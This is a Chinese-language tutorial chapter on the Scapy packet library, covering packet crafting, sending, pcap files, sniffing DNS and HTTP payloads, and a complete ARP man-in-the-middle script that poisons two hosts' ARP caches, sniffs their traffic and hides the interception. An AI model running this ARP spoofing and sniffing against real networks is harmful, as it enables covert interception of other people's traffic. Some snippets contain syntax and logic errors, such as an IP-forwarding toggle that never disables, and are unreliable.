Skip to content

Latest commit

 

History

History
568 lines (403 loc) · 16.1 KB

File metadata and controls

568 lines (403 loc) · 16.1 KB

八、Scrapy 基础

在本章中,我们将介绍以下配方:

  • 使用 Scapy 创建数据包
  • 使用 Scapy 发送和接收数据包
  • 分层包装
  • 读取和写入 PCAP 文件
  • 嗅探数据包
  • 带 Scapy 的 ARP 中间人工具

介绍

Scapy 是用于数据包操作的强大 Python 模块。它可以解码和创建各种协议的数据包。Scapy 可用于 Python 程序内的扫描、探测和网络发现任务。

使用 Scapy 创建数据包

众所周知,网络通信的基本单位是数据包。所以我们可以先用 Scapy 创建一个数据包。Scapy 在层中创建数据包;每个层嵌套在其父层中。

准备

由于我们需要在环境中安装 Scapy 模块,请确保使用pip命令安装:

pip install scapy  

安装完成后,在您的终端中发出scapy命令,确保其正常工作:

scapy
Welcome to Scapy (3.0.0)
>>>  

这将为 Scapy 打开一个交互式终端。您还可以将其用于 Scapy 脚本的基本调试。Scapy 支持的所有协议列表如下:

>>> ls()  

同样,我们可以得到每个协议中的细节和参数,如下所示:

>>> ls(UDP)     

怎么做。。。

以下是使用scapy模块创建数据包的步骤:

  1. 创建一个名为scapy-packet.py的新文件,并在编辑器中打开它。
  2. 照常导入scapy模块和pprint以便更好地进行可读性打印:
from scapy.all import *
from pprint import pprint  
  1. 数据包是通过为 TCP/IP 的每个协议层定义数据包头并按正确的顺序进行堆叠而构建的。因此,我们可以使用以下内容创建 TCP 数据包的第一层:
ethernet = Ether()  
  1. 然后我们可以创建数据包的 IP 层,如下所示:
network = IP(dst='192.168.1.1/30')  

由于是网络层,我们必须将目标 IP 作为参数传递。Scapy 接受不同的 IP 标记,如下所示:

network = IP(dst='192.168.1.1')  
network = IP(dst='192.168.1.1/30')  
network = IP(dst = 'rejahrehim.com')  

此外,我们还可以通过将目的地作为列表传递来设置多个目的地:

network = IP(dst = ['rejahrehim.com', '192.168.1.1', '192.168.12'])  
  1. 类似地,我们可以创建传输层。在我们的例子中,它是一个 TCP 层。我们可以按如下方式创建它:
transport = TCP(dport=53, flags = 'S')  

这里我们传递目标端口,对于 SYN 数据包,标志设置为S。我们还可以将目标端口作为创建多个数据包的列表传递:

transport = TCP(dport=[(53, 100)], flags = 'S')  
  1. 接下来我们可以使用/操作符堆叠这些层:
packet = ethernet/network/transport  
  1. 现在我们可以用pprint检查打印生成的数据包:
pprint([pkt for pkt in packet])  

我们也可以使用ls()检查一个包:

for pkt in packet:
 ls(pkt)

获取数据包详细信息的另一个选项是数据包中的show()方法:

for pkt in packet:
 pkt.show()  

现在,我们可以使用脚本创建单个数据包。脚本如下:

from scapy.all import * 
from pprint import pprint 
ethernet = Ether() 
network = IP(dst = ['rejahrehim.com']) 
transport = TCP(dport=[(80)], flags = 'S') 
packet = ethernet/network/transport  
for pkt in packet: 
          pkt.show() 

这将创建一个设置了 SYN 标志的 TCP/IP 数据包,即目标地址https://rejahrehim.com/ 和目的港80

  1. 现在使用sudo权限运行脚本:
sudo python3 scapy-packet.py    

输出结果如下:

在这里我们可以看到,scapy已经将源 IP 标识为本地 IP,并自动将这些细节添加到数据包中。

  1. 您会注意到,响应的第一行是一条警告消息,上面写着No route found for IPV6 destination。我们可以通过使用logger模块来避免这些不太重要的消息。为此,在导入 Scapy 之前,导入并将日志记录级别设置为ERROR(仅打印错误消息)。这可以通过在脚本顶部添加以下行来实现。此步骤适用于使用scapy模块的所有配方:
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  

使用 Scapy 发送和接收数据包

我们已经在前面的配方中创建了一些数据包。现在我们可以用 Scapy 发送和接收这些数据包了。

怎么做。。。

以下是通过scapy模块发送和接收数据包的方法:

  1. 确保导入所需的模块:
from scapy.all import *
from pprint import pprint 
  1. 我们可以使用send()功能在第三层发送数据包。在这种情况下,Scapy 将处理布线和其中的第 2 层:
network = IP(dst = '192.168.1.1')
transport = ICMP()
packet = network/transport
send(IP(packet)  

这将发送一个 ICMP 数据包

  1. 要使用自定义层 2 发送数据包,我们必须使用sendp()方法。这里我们必须传递用于发送数据包的接口。我们可以为其提供iface参数。如果未提供,将使用conf.iface中的默认值:
ethernet = Ether()
network = IP(dst = '192.168.1.1')
transport = ICMP()
packet = ethernet/network/transport
sendp(packet, iface="en0")  
  1. 要发送数据包并接收响应,我们必须使用sr()方法:
ethernet = Ether()
network = IP(dst = 'rejahrehim.com')
transport = TCP(dport=80)
packet = ethernet/network/transport
sr(packet, iface="en0")  
  1. 我们可以使用sr1()方法发送一个或一组数据包,并且只记录第一个响应:
sr1(packet, iface="en0")  
  1. 类似地,我们可以使用srloop()循环发送刺激数据包的过程,接收响应并打印它们。
srloop(packet)  

分层数据包

在 Scapy 中,每个数据包都是嵌套字典的集合,因为 Scapy 使用 Python 字典作为数据包的数据结构。从最底层开始,每个层都是父层的子字典。此外,数据包层内的每个字段都是该层字典内的键值对。因此,我们可以使用赋值操作对此字段进行更改。

怎么做。。。

要了解 Scapy 中的分层,我们可以执行以下步骤:

  1. 我们可以使用show()方法获得数据包及其分层结构的详细信息。我们可以使用交互式终端来检查和确定更多关于每个数据包的结构。打开终端并键入以下内容:
>>> scapy  

接下来,创建一个数据包并显示其详细信息,如下所示:

>>> pkt = Ether()/IP(dst='192.168.1.1')/TCP(dport=80)
>>> pkt.show()  

然后它将打印出我们创建的数据包的结构:

即使我们不提供源地址,Scapy 也会自动分配源地址。

  1. 我们可以使用summary()方法得到一个数据包的摘要:
>>> pkt.summary()    

  1. 我们可以通过数据包的列表索引或名称获得数据包的每一层:
>>> pkt[TCP].show()
>>> pkt[2].show()  

两者都将打印 TCP 层的详细信息,如下所示:

  1. 类似地,我们可以得到层内的每个字段。我们可以获得数据包的目的 IP 地址,如下所示:
>>> pkt[IP].dst   

  1. 我们可以使用haslayer()方法测试特定层的存在性:
>>> if (pkt.haslayer(TCP)):
....print ("TCP flags code: " + str(pkt.getlayer(TCP).flags)  

同样,可以通过getlayer()方法获得特定层

  1. 我们可以使用 Scapysniff()函数嗅探网络,使用 filter 参数从嗅探的数据包中获取特定类型的数据包:
>>> pkts = sniff(filter="arp",count=10)
>>> print(pkts.summary())  

读取和写入 pcap 文件

pcap 文件用于保存捕获的数据包以供以后使用。我们可以使用 Scapy 从 pcap 文件读取数据包并将其写入 pcap 文件。

怎么做。。。

我们可以编写一个脚本,使用 Scapy 读取和写入 pcap 文件,如下所示:

  1. 我们可以将 pcap 文件导入到 Scapy,如下所示:
from scapy.all import *
packets = rdpcap("sample.pcap")
packets.summary()  
  1. 我们可以像对待创建的数据包那样迭代和处理数据包:
for packet in packets:
    if packet.haslayer(UDP):
        print(packet.summary())  
  1. 我们还可以在导入过程中操纵数据包。如果我们想要更改捕获的 pcap 文件中数据包的目标和源 MAC 地址,我们可以在导入时进行更改,如下所示:
from scapy.all import *    
packets = []    
def changePacketParameters(packet):
packet[Ether].dst = '00:11:22:dd:bb:aa'
packet[Ether].src = '00:11:22:dd:bb:aa'    
for packet in sniff(offline='sample.pcap', prn=changePacketParameters):
packets.append(packet)   
for packet in packets:
   if packet.haslayer(TCP):
       print(packet.show())  

在这里,我们定义了一个新函数,changePacketParameters(),来迭代每个数据包,并在以太网层内更新其源和目标 MAC 地址。此外,我们将在sniff()部分内将该函数称为prn

  1. 我们可以通过wrpcap()功能将数据包导出到 pcap 文件:
wrpcap("editted.cap", packets)    
  1. 我们还可以使用 Scapy 过滤将写入 pcap 文件的数据包:
from scapy.all import *    
packets = []    
def changePacketParameters(packet):
    packet[Ether].dst = '00:11:22:dd:bb:aa'
    packet[Ether].src = '00:11:22:dd:bb:aa'    
def writeToPcapFile(pkt):
    wrpcap('filteredPackets.pcap', pkt, append=True)    
for packet in sniff(offline='sample.pcap', prn=changePacketParameters):
     packets.append(packet)    
for packet in packets:
     if packet.haslayer(TCP):
         writeToPcapFile(packet)
         print(packet.show())  
  1. 我们可以通过sendp()方法重放 pcap 文件中捕获的数据包:
sendp(packets)  

我们可以在 Scapy 中用一行代码读取和重放数据包:

sendp(rdpcap("sample.pcap"))  

嗅探数据包

Scapy 有一个sniff()功能,我们可以使用它从网络获取数据包。但是 Scapy 的内置sniff()功能有点慢,可能会跳过一些数据包。当嗅探速度很重要时,最好使用tcpdump

怎么做。。。

以下是使用scapy模块编写嗅探器的步骤:

  1. 创建一个名为scapy-sniffer.py的文件,并用编辑器打开它。
  2. 与往常一样,导入脚本所需的模块:
import sys
from scapy.all import *  
  1. 然后,定义所需的变量。这里我们需要定义要嗅探的interface
interface = "en0"

您可以通过 Linux 和 macOS 中的ifconfig命令获得要使用的interface

  1. 现在我们可以编写一个函数来处理嗅探到的数据包,该函数将作为嗅探器的回调函数提供:
def callBackParser(packet):
   if IP in packet:
     source_ip = packet[IP].src
     destination_ip = packet[IP].dst
    if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0:
      print("From : " + str(source_ip) + " to -> " + str(destination_ip) + "( " + str(packet.getlayer(DNS).qd.qname) + " )")  

在这里,我们获得所有 DNS 数据包的源和目标 IP,并提取这些 DNS 数据包的域

  1. 现在我们可以使用sniff()方法开始嗅探并将数据包传递给回调函数:
sniff(iface=interface, prn=callBackParser)    

这将从变量中指定的接口开始嗅探数据包。

  1. 现在我们可以使用sudo权限启动脚本:
sudo python3 scapy-sniffer.py    

输出结果如下:

  1. 我们可以按如下方式打印嗅探包中的payload
if TCP in packet:
      try:
          if packet[TCP].dport == 80 or packet[TCP].sport == 80:
                print(packet[TCP].payload)
      except:
           pass

带 Scapy 的 ARP 中间人工具

中间人攻击意味着攻击者位于源和目标之间,通过攻击系统传递所有数据。这将允许攻击者查看受害者的活动。我们可以在 Scapy 的帮助下用 Python 编写一个小脚本来运行中间人攻击。

怎么做。。。

为了更好地理解,我们可以按照以下步骤编写脚本:

  1. 创建一个名为mitm-scapy.py的新文件,并在编辑器中打开它。
  2. 像往常一样,导入所需的模块:
from scapy.all import *
import os
import time
import sys  

在这里,我们导入 Scapy 以及脚本中需要的ostimesys模块。

  1. 现在我们必须为脚本定义变量。我们可以通过 Python 2.x 中的raw_input方法或 Python 3.x 中的input()方法获得变量详细信息,而不是在脚本中定义:
interface = "en0"
source_ip = "192.168.1.1"
destination_ip = "192.168.1.33"  
  1. 由于我们必须获得源和目标的 MAC 地址才能创建 ARP 响应,因此我们将使用 ARP 请求请求并解析响应以获得 MAC 地址。现在我们必须创建一个函数来获取 MAC 地址:
def getMAC(IP, interface):
answerd, unanswered = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = IP), timeout = 5, iface=interface, inter = 0.1)    
for send,recieve in answerd:
return recieve.sprintf(r"%Ether.src%")  

这将返回调用此函数时提供的 IP 的 MAC 地址

  1. 现在我们将创建一个函数来切换 IP 转发。这与 Linux 和 macOS 不同:
    • 对于 macOS:
def setIPForwarding(set): 
    if set:
        #for OSX
        os.system('sysctl -w net.inet.ip.forwarding=1')
    else:
        #for OSX
        os.system('sysctl -w net.inet.ip.forwarding=0') 
def setIPForwarding(set):
    if set:
        #for Linux
        os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
    else:
        #for Linux
        os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
  1. 现在我们必须编写另一个函数来重新建立受害者和来源之间的连接。这是为了确保受害者不会识别拦截:
def resetARP(destination_ip, source_ip, interface):
destinationMAC = getMAC(destination_ip, interface)
sourceMAC = getMAC(source_ip, interface)    
send(ARP(op=2, pdst=source_ip, psrc=destination_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=destinationMAC, retry=7))
send(ARP(op=2, pdst=destination_ip, psrc=source_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=sourceMAC, retry=7))
setIPForwarding(False)  

在这个函数中,我们首先使用我们编写的函数获取源和目标的 MAC 地址:getMAC()。然后,我们将向源发送请求,就像从目标发送一样。此外,我们将向目标发送请求,就像它来自源一样。最后,我们使用我们编写的函数重置 IP 转发:setIPForwarding()

  1. 现在我们将进行实际的攻击。为此,我们将编写一个函数:
def mitm(destination_ip, destinationMAC, source_ip, sourceMAC):
    arp_dest_to_src = ARP(op=2, pdst=destination_ip, psrc=source_ip, hwdst=destinationMAC)
    arp_src_to_dest = ARP(op=2, pdst=source_ip, psrc=destination_ip, hwdst=sourceMAC)
    send(arp_dest_to_src)
    send(arp_src_to_dest)

这将把数据包同时发送到源和目的地,表明我们的接口是源的目的地和目的地的源

  1. 接下来,我们必须设置回调函数来解析来自接口的嗅探数据包:
def callBackParser(packet):
  if IP in packet:
      source_ip = packet[IP].src
      destination_ip = packet[IP].dst
      print("From : " + str(source_ip) + " to -> " + str(destination_ip))  
  1. 现在我们将定义调用攻击的main()函数:
def main():
      setIPForwarding(True)    
      try:
          destinationMAC = getMAC(destination_ip, interface)
      except Exception as e:
          setIPForwarding(False)
          print(e)
          sys.exit(1)  
      try:
          sourceMAC = getMAC(source_ip, interface)
      except Exception as e:
          setIPForwarding(False)
          print(e)
          sys.exit(1) 
       while True:
          try:
              mitm(destination_ip, destinationMAC, source_ip, sourceMAC)
              sniff(iface=interface, prn=callBackParser,count=10)
           except KeyboardInterrupt:
              resetARP(destination_ip, source_ip, interface)
              break
       sys.exit(1)
   main()  

这将创建一个无限循环来设置攻击并嗅探数据包。